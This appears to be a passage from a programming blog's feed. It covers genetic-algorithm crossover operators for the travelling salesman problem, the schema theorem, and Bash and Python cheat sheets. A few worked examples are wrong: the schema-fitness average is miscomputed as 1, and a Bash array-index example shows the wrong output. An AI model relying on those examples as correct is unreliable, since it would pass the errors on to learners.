<td>(1 3 5 6 7 8 9 10)</td>
<td>(3 0 1 3 3 1 0 0)</td>
<td style="text-align:right">6</td>
</tr>
<tr>
<td>(1 3 5 7 8 9 10)</td>
<td>(0 1 3 3 1 0 0)</td>
<td style="text-align:right">1</td>
</tr>
<tr>
<td>(3 5 7 8 9 10)</td>
<td>(1 3 3 1 0 0)</td>
<td style="text-align:right">5</td>
</tr>
<tr>
<td>(3 7 8 9 10)</td>
<td>(3 3 1 0 0)</td>
<td style="text-align:right">9</td>
</tr>
<tr>
<td>(3 7 8 10)</td>
<td>(3 1 0 0)</td>
<td style="text-align:right">10</td>
</tr>
<tr>
<td>(3 7 8)</td>
<td>(1 0 0)</td>
<td style="text-align:right">7</td>
</tr>
<tr>
<td>(3 8)</td>
<td>(0 0)</td>
<td style="text-align:right">3</td>
</tr>
<tr>
<td>(8)</td>
<td>(0)</td>
<td style="text-align:right">8</td>
</tr>
</tbody>
</table>
<h2 id="crossovers">Crossovers</h2>
<h3 id="partially-mapped-crossover-pmx">Partially Mapped Crossover (PMX)</h3>

<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
  <iframe src="https://www.youtube.com/embed/c2ft8AG8JKE" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" allowfullscreen title="YouTube Video"></iframe>
</div>

<ul>
<li>Select <strong>two random cut points</strong> in strings - representing parent tours</li>
<li><strong>Mapping sections</strong> - Substrings between cut points</li>
<li>Mapping sections are exchanged between parents</li>
<li>Already present city it is <strong>replaced</strong> by the <strong>value from the previous parent</strong></li>
</ul>
<pre tabindex="0"><code>P - Parent
V - Offspring

P1 = (1 2 |3 4 5| 6 7 8)
P2 = (3 7 |5 1 6| 8 2 4)

Values map P1 &lt;=&gt; P2 :
3 &lt;=&gt; 5
4 &lt;=&gt; 1
5 &lt;=&gt; 6

V1 = (x x |5 1 6| x x x)
P1 = (1 2 |- - -| 6 7 8) - Apply rest of the values
----------------------------------
V1 = (x 2 |5 1 6| x 7 8) - Apply mappings 1 =&gt; 4, 6 =&gt; 5 =&gt; 3
V1 = (4 2 |5 1 6| 3 7 8) 


V2 = (x x |3 4 5| x x x)
P2 = (3 7 |- - -| 8 2 4) - Apply rest of the values
----------------------------------
V2 = (x 7 |3 4 5| 8 2 x) - Apply mappings 3 =&gt; 5 =&gt; 6, 4 =&gt; 1
V2 = (6 7 |3 4 5| 8 2 1)
</code></pre><h3 id="order-crossover-ox">Order Crossover (OX)</h3>

<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
  <iframe src="https://www.youtube.com/embed/HATPHZ6P7c4?start=194" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" allowfullscreen title="YouTube Video"></iframe>
</div>

<ul>
<li><strong>Order of cities</strong> is important (relative sequence kept)</li>
<li>Select <strong>two random cut points</strong> in strings</li>
<li>Copy from <strong>1 parent substring into offspring</strong></li>
<li>Rest fill with the <strong>second parent sequence</strong></li>
<li>Skip duplicates</li>
</ul>
<pre tabindex="0"><code>P - Parent
V - Offspring

P1 = (1 2 |3 4 5| 6 7 8) - Create offspring from taken subsequence
P2 = (2 4 |6 8 7| 5 3 1)

V1 = (x x |3 4 5| x x x) - Rest fill with sequence from P2, starting from point P1 subsuqence end
V1 = (8 7 |3 4 5| 1 2 6) - If there is duplicate take next one from P2 sequence

V2 = (x x |6 8 7| x x x) - x-ies fill with sequence from P1
V2 = (4 5 |6 8 7| 1 2 3) - On duplicate take next one from P1 sequence
</code></pre><h3 id="cycle-crossover-cx">Cycle Crossover (CX)</h3>

<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
  <iframe src="https://www.youtube.com/embed/DJ-yBmEEkgA?start=109" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" allowfullscreen title="YouTube Video"></iframe>
</div>

<ul>
<li>Creates offspring by <strong>exchange cycles between two parents</strong></li>
<li>The cycle is created by <strong>finding corresponding values between two parents</strong>, starting from the beginning</li>
</ul>
<pre tabindex="0"><code>P - Parent
V - Offspring


P1 = (1 2 3 4 5 6 7 8 9)
P2 = (9 3 7 8 2 6 5 1 4)

1st Cycle - Start from 1 element at P1.
P1 | P2
1 =&gt; 1
8 &lt;= 1
4 &lt;= 8
9 &lt;= 4
1 &lt;= 9

1st Cycle: 1=&gt;8=&gt;4=&gt;9=&gt;1

2nd Cycle - Start from 2 element at P1.
P1 | P2
2 =&gt; 2
5 &lt;= 2
7 &lt;= 5
3 &lt;= 7
2 &lt;= 3

2nd Cycle: 2=&gt;5=&gt;7=&gt;3=&gt;2
3rd Cycle: 6=&gt;6

Crossover on 2nd cycle:
P1 = (1 2 3 4 5 6 7 8 9)
V1 = (1 x x 4 x 6 x 8 9)
V1 = (1 3 7 4 2 6 5 8 9) - Fill missing P1=&gt;P2 with 2nd cycle. Remember about DIRECTION

P2 = (9 3 7 8 2 6 5 1 4)
V2 = (9 x x 8 x 6 x 1 4) - Fill missing P2=&gt;P1 with 2nd cycle. Remember about DIRECTION
V2 = (9 2 3 8 5 6 7 1 4)
</code></pre><h3 id="alternating-edge-crossover">Alternating edge crossover</h3>
<ul>
<li>Builds the offspring from two parents by *<em>randomly choosing an edge from the first parent</em></li>
<li>Then <strong>selecting the appropriate edge from the second parent</strong>.</li>
<li>Operator extends by choosing edges from alternating parents</li>
<li>In case of <strong>duplication take the random remaining edge</strong>.</li>
</ul>
<pre tabindex="0"><code>P - Parent
V - Offspring

P1 = 0-1-5-3-2-4
P2 = 0-1-2-5-3-4

Let&#39;s start from value 5 in P1

V1 = 5-3 - Find City 5 in P1 and pick next one
V1 = 5-3-4 - Find City 3 in P2 and pick next one
V1 = 5-3-4-0 - Find City 4 in P1 and pick next one
V1 = 5-3-4-0-1 - Find City 0 in P2 and pick next one
V1 = 5-3-4-0-1-2 - Pick random remaining as duplicate happen
</code></pre><h3 id="subtour-chunks-crossover">Subtour chunks crossover</h3>
<ul>
<li>More general version of Alternating edge</li>
<li>Randomly choose how many transitions can be done before <strong>Parent switch</strong></li>
<li>In case of duplicates take random remaining</li>
</ul>
<pre tabindex="0"><code>P1 = 0-1-5-3-2-4
P2 = 0-1-2-5-3-4

Let&#39;s start from value 5 in P1

V1 = 5-3-2-4 - Randomly chosen amount (3) of transitions from P1
V1 = 5-3-2-4-0-1 - Randomly chosen amount (2) of transitions from P2
</code></pre><h3 id="heuristic-crossover">Heuristic crossover</h3>
<ol>
<li><strong>Choose random City</strong> as a starting point</li>
<li>Compare edges of parents. Edge with <strong>shorter distance</strong> added to child</li>
<li>The chosen the closest city is the <strong>starting point of next City selection</strong></li>
<li>If the selected city is <strong>already in the child, replace</strong> the selected city <strong>with random one left</strong>.</li>
<li>Go to: 2, till the tour complete.</li>
</ol>
<h2 id="source">Source</h2>
<ul>
<li><a href="https://pl.wikipedia.org/wiki/Problem_komiwoja%C5%BCera">https://pl.wikipedia.org/wiki/Problem_komiwoja%C5%BCera</a></li>
<li><em>A. E. Eiben, J. E. Smith: Introduction to Evolutionary
Computing , Springer-Verlag, Berlin, 2003.</em></li>
<li><a href="https://youtu.be/HATPHZ6P7c4?t=194">https://youtu.be/HATPHZ6P7c4?t=194</a></li>
<li><a href="https://youtu.be/c2ft8AG8JKE">https://youtu.be/c2ft8AG8JKE</a></li>
<li><a href="https://youtu.be/DJ-yBmEEkgA?t=109">https://youtu.be/DJ-yBmEEkgA?t=109</a></li>
</ul>
]]></content></item><item><title>Schema Theorem - Why Genetic Algorithm is working?</title><link>https://greencashew.dev/posts/schema-theorem-why-genetic-algorithm-is-working/</link><pubDate>Mon, 15 Jun 2020 10:51:20 +0100</pubDate><guid>https://greencashew.dev/posts/schema-theorem-why-genetic-algorithm-is-working/</guid><description>Overview Theorem explains why the GA is working. Schema - a template that identifies a subset of strings with similarities at certain string position. * the wildcard means 0 or 1 (Doesn&amp;rsquo;t matter) S1 = (*01*00110) - this schema is represented by 4 strings (only changes filled): V1 = (0 0 ) V2 = (0 1 ) V3 = (1 0 ) V4 = (1 1 ) Schema Order o(S) is defined as the number of fixed positions in the template: S1 = (*1***1**0) o(S1) = 3 S2 = (*1**01*111) o(S2) = 6 Schema Length δ(S) is the distance between first and last fixed position.</description><content type="html"><![CDATA[<h2 id="overview">Overview</h2>
<ul>
<li>Theorem explains <strong>why the GA is working</strong>.</li>
<li>Schema - a template that identifies a <strong>subset of strings with similarities at certain string position</strong>.</li>
<li><code>*</code> the wildcard means 0 or 1 (Doesn&rsquo;t matter)</li>
</ul>
<pre tabindex="0"><code>S1 = (*01*00110) - this schema is represented by 4 strings (only changes filled):
V1 = (0  0     )
V2 = (0  1     )
V3 = (1  0     )
V4 = (1  1     )
</code></pre><ul>
<li>Schema Order <code>o(S)</code> is defined as the <strong>number of fixed positions</strong> in the template:</li>
</ul>
<pre tabindex="0"><code>S1 =  (*1***1**0) o(S1) = 3
S2 = (*1**01*111) o(S2) = 6
</code></pre><ul>
<li>Schema Length <code>δ(S)</code> is the <strong>distance</strong> between <strong>first and last</strong> <strong>fixed</strong> position.</li>
</ul>
<pre tabindex="0"><code>S1 =  (*1***1**0) δ(S1) = 9 - 2 = 7
S2 = (*1**01*111) δ(S2) = 10 - 2 = 8
</code></pre><ul>
<li>Schema Fitness is the <strong>average fitness of all strings matching</strong> the schema.</li>
</ul>
<pre tabindex="0"><code>f(V) - Fitness of individual
f(S1) - Fitness of schema1

S1 = (*01*00110)
V1 = (001000110) f(V1) = 0.2
V2 = (001100110) f(V2) = 0.5
V3 = (101000110) f(V3) = 0.8
V4 = (101100110) f(V4) = 0.5

f(schema) = sum(fitness variables from schema) / (num variables from schema) 
f(S1) = [f(V1) + f(V2) + f(V3) + f(V4)] / 4 = 4 / 4 = 1
</code></pre><h2 id="effect-of-ga-on-a-schema">Effect of GA on a schema</h2>
<h3 id="effect-of-selection-on-schema">Effect of Selection on Schema</h3>
<ul>
<li>assume fitness proportional selection</li>
</ul>
<pre tabindex="0"><code>f(S1) - Fitness of schema1
f(all) - Average fitness of all individuals
M(S1) - Excepected number of individuals from schema

M(S1) = f(S1) / f(all)
</code></pre><p><strong>Schemas with fitness</strong> <code>f(S1) &gt; f(all)</code> are likely to <strong>appear more</strong> in the next generation</p>
<h3 id="effect-of-crossover-on-schema">Effect of Crossover on Schema</h3>
<ul>
<li>assume the single-point crossover</li>
</ul>
<p>Schema <code>S1</code> survives crossover operation if at least <strong>one from a parent and offspring</strong> is an instance of the schema <code>S1</code></p>
<p>Crossover survival example:</p>
<pre tabindex="0"><code>S1 = (* 1 0  * *)

P1 = (1 1 0| 1 0) ∈ S1 
P2 = (1 0 1| 1 1) ∉ S1
V1 = (1 1 0  1 1) ∈ S1 =&gt; Schema SURVIVED
V2 = (1 0 1  1 0) ∉ S1

--------------------------------------

P1 = (1 1| 0 1 0) ∈ S1 
P2 = (1 0| 1 1 1) ∉ S1
V1 = (1 1  1 1 1) ∉ S1 
V2 = (1 0  0 1 0) ∉ S1
Schema DESTROYED
</code></pre><p>Calculate probability if crossover occurs <strong>within the defining length</strong> bits:</p>
<pre tabindex="0"><code>m - total length 
δ(S1) - Schema defining length of schema S1
Pd(S1) - Probability that crossover happen within defining length of schema S1

Pd(S1) = δ(S1) / (m - 1)


S1 = (*10**)
l = 5
δ(S1) = 5 - 2 = 3

Pd(S1) = 3 / (5 - 1) = 3/4
</code></pre><p><strong>Schemas with low order (number of fixed positions) are more likely to survive.</strong></p>
<h3 id="effect-of-mutation-on-schema">Effect of Mutation on Schema</h3>
<ul>
<li>assume mutation is applied gene by gene</li>
</ul>
<pre tabindex="0"><code>Pm - probability of particular gene mutation
o(S1) - Order of schema S1
Ps(S1) - Probability that schema S1 survives mutation

Ps(S1) = (1 - Pm)^o(S1)

S1 = (*10**)
o(S1) = 2
Pm = 0.01 - Choosen by me

Ps(S1) = (1 - 0.01)^2 = 0.9801
</code></pre><p>For schema <code>S1</code> to survive <strong>all fixed bits</strong> must remain <strong>unchanged</strong>.</p>
<h2 id="conclusion">Conclusion</h2>
<h3 id="definitions">Definitions</h3>
<p>Schema theorem - schema with <strong>above-average fitness</strong>, <strong>short defining length</strong> and <strong>lower order</strong> is <strong>more likely to survive</strong></p>
<p>Building-block hypothesis - GA works well when <strong>short, low-order, highly-fit schemas</strong> recombine to form <strong>more highly fit, higher-order schemas</strong>.</p>
<h3 id="criticism">Criticism</h3>
<p>Schema theorem assumes that GA maintains an <strong>infinitely large population</strong>.</p>
<h2 id="sources">Sources</h2>
<ul>
<li><em>Z. Michalewicz: Genetic Algorithms + Data Structures =Evolution Programs, Third Edition, Springer-Verlag, Berlin, 1996.</em></li>
<li><a href="https://en.wikipedia.org/wiki/Schema_(genetic_algorithms)">https://en.wikipedia.org/wiki/Schema_(genetic_algorithms)</a></li>
</ul>
]]></content></item><item><title>Bash cheat sheet</title><link>https://greencashew.dev/posts/bash-cheat-sheet/</link><pubDate>Fri, 29 May 2020 18:51:20 +0100</pubDate><guid>https://greencashew.dev/posts/bash-cheat-sheet/</guid><description>Cheat sheet verified with Bash 4.4.19
Variables Set and get
local var=&amp;#34;Jan&amp;#34; echo $var Arrays Indexed - Standard arrays with number as index array_var=(value1 value2 value3)
Associative - Index could be any string array_var=([text-index]=value [text-index2]=value2)
Declare Indexed
array_var=() array_var=(value1 value2 value3) declare -a array_var Associative
declare -A array_var Conversion from String Convert string to array. With space separator &amp;quot; &amp;ldquo;
var_string=&amp;#39;string is automatically converted&amp;#39; array=( &amp;#34;$var_string&amp;#34; ) echo ${array[0]} Print/Get array elements Get first array element</description><content type="html"><![CDATA[<p>Cheat sheet verified with <em>Bash 4.4.19</em></p>
<h2 id="variables">Variables</h2>
<p>Set and get</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>local var<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Jan&#34;</span>
</span></span><span style="display:flex;"><span>echo $var
</span></span></code></pre></div><h2 id="arrays">Arrays</h2>
<p>Indexed - Standard arrays with number as index <code>array_var=(value1 value2 value3)</code></p>
<p>Associative - Index could be any string <code>array_var=([text-index]=value [text-index2]=value2)</code></p>
<h3 id="declare">Declare</h3>
<p>Indexed</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>array_var<span style="color:#f92672">=()</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>array_var<span style="color:#f92672">=(</span>value1 value2 value3<span style="color:#f92672">)</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>declare -a array_var
</span></span></code></pre></div><p>Associative</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>declare -A array_var
</span></span></code></pre></div><h3 id="conversion-from-string">Conversion from String</h3>
<p>Convert string to array. <strong>With space separator &quot; &ldquo;</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>var_string<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;string is automatically converted&#39;</span>
</span></span><span style="display:flex;"><span>array<span style="color:#f92672">=(</span> <span style="color:#e6db74">&#34;</span>$var_string<span style="color:#e6db74">&#34;</span> <span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">${</span>array[0]<span style="color:#e6db74">}</span>
</span></span></code></pre></div><h3 id="printget-array-elements">Print/Get array elements</h3>
<p>Get first array element</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>array<span style="color:#f92672">=(</span>value1 value2 value3<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">${</span>array[1]<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">`</span>value1<span style="color:#e6db74">`</span>
</span></span></code></pre></div><p>Get all array elements</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>array<span style="color:#f92672">=(</span>value1 value2 value3<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">${</span>array[@]<span style="color:#e6db74">}</span>
</span></span></code></pre></div><p>Get array size</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${#</span>array[@]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span></code></pre></div><p>Get index of array element</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>array<span style="color:#f92672">=(</span>feb may jan<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>value<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;jan&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i in <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>!array[@]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>array[$i]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>value<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>       echo <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>i<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>;
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#ae81ff">2</span>
</span></span></code></pre></div><p>Merge arrays</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>combined<span style="color:#f92672">=(</span> <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>array1[@]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>array2[@]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Merge arrays and remove duplicates</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>no_duplicates<span style="color:#f92672">=(</span> <span style="color:#66d9ef">$(</span>printf <span style="color:#e6db74">&#39;%s\n&#39;</span> <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>array[@]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span> | sort -uz<span style="color:#66d9ef">)</span> <span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Check if array contains some value</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#66d9ef">function</span> contains<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> <span style="color:#e6db74">&#34; </span><span style="color:#e6db74">${</span>some_array[@]<span style="color:#e6db74">}</span><span style="color:#e6db74"> &#34;</span> <span style="color:#f92672">=</span>~ <span style="color:#e6db74">&#34; </span><span style="color:#e6db74">${</span>some_value<span style="color:#e6db74">}</span><span style="color:#e6db74"> &#34;</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>          echo <span style="color:#e6db74">&#34;FOUND&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>          echo <span style="color:#e6db74">&#34;NOT FOUND&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><h2 id="conditionals">Conditionals</h2>
<p>Simple if else</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">&#34;true&#34;</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;false&#34;</span> <span style="color:#f92672">]</span> <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>    echo You may go to the party.
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">elif</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">&#34;false&#34;</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;true&#34;</span> <span style="color:#f92672">]</span> <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>    echo You may go to the party but be back before midnight.
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>    echo You may not go to the party.
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span></code></pre></div><p><strong>test</strong> command =&gt; In conditionals: <strong>[]</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>value<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[[</span> <span style="color:#66d9ef">$(</span>test $value<span style="color:#66d9ef">)</span> -eq <span style="color:#ae81ff">1</span> <span style="color:#f92672">]]</span> <span style="color:#f92672">||</span> echo <span style="color:#e6db74">&#34;Condition not fulfilled.&#34;</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Condition not fulfilled.
</span></span></code></pre></div><h2 id="string-operations">String operations</h2>
<p>Replace space with new line</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;String with spaces&#34;</span>  | tr <span style="color:#e6db74">&#39; &#39;</span> <span style="color:#e6db74">&#39;\n&#39;</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>String
</span></span><span style="display:flex;"><span>with
</span></span><span style="display:flex;"><span>spaces
</span></span></code></pre></div><p>Substitute words in variable:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>name<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Marko&#34;</span>
</span></span><span style="display:flex;"><span>grade<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>input<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Hello I&#39;m #name. My grade is #grade.&#34;</span>
</span></span><span style="display:flex;"><span>command<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">&#34;</span>$input<span style="color:#e6db74">&#34;</span> | sed <span style="color:#e6db74">&#34;s/#name/</span>$name<span style="color:#e6db74">/gi&#34;</span> | sed <span style="color:#e6db74">&#34;s/#grade/</span>$grade<span style="color:#e6db74">/gi&#34;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>echo $command
</span></span></code></pre></div><p>Output:</p>
<pre tabindex="0"><code class="language-log" data-lang="log">Hello I&#39;m Marko. My grade is 5.
</code></pre><h2 id="files">Files</h2>
<p>for through files in path</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> path in /some/path/*; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>    readFile <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>path<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div><p>Read line in a file with empty lines, spaces and comments removal</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sed -e <span style="color:#e6db74">&#39;s/[[:space:]]*#.*// ; /^[[:space:]]*$/d&#39;</span> $1 | <span style="color:#66d9ef">while</span> IFS<span style="color:#f92672">=</span> read -r line <span style="color:#f92672">||</span> <span style="color:#f92672">[</span> -n <span style="color:#e6db74">&#34;</span>$line<span style="color:#e6db74">&#34;</span> <span style="color:#f92672">]</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>    echo $line
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div>]]></content></item><item><title>Python3 basics cheatsheet</title><link>https://greencashew.dev/posts/python3-basics-cheatsheet/</link><pubDate>Tue, 24 Mar 2020 18:51:20 +0100</pubDate><guid>https://greencashew.dev/posts/python3-basics-cheatsheet/</guid><description>Basic calculations Exponentiation
2 ** 4 #out 16 Modulo: (Rest of the division)
5 % 2 #out 1 Variable definition
var=5 super_crazy_var=5 Comment:
# Some comment String String definition (In quotes):
&amp;#34;I can&amp;#39;t touch anything&amp;#34; Print variable:
print(var) Format method:
print(&amp;#39;My number is {}and my name is {}&amp;#39;.format(2,&amp;#34;Jan&amp;#34;)) Format method 2:
print(&amp;#39;My number is {num}and my name is {name}and {num}&amp;#39;.format(num=2,name=&amp;#34;Jan&amp;#34;)) Indexing of strings:
pintf(s[0]) Slicing: (From 0 to 4)
s=&amp;#34;Hello world!</description><content type="html"><![CDATA[<h2 id="basic-calculations">Basic calculations</h2>
<p>Exponentiation</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#ae81ff">2</span> <span style="color:#f92672">**</span> <span style="color:#ae81ff">4</span> <span style="color:#75715e">#out 16</span>
</span></span></code></pre></div><p>Modulo: (Rest of the division)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#ae81ff">5</span> <span style="color:#f92672">%</span> <span style="color:#ae81ff">2</span> <span style="color:#75715e">#out 1</span>
</span></span></code></pre></div><p>Variable definition</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>var<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>super_crazy_var<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span>
</span></span></code></pre></div><p>Comment:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Some comment</span>
</span></span></code></pre></div><h2 id="string">String</h2>
<p>String definition (In quotes):</p>
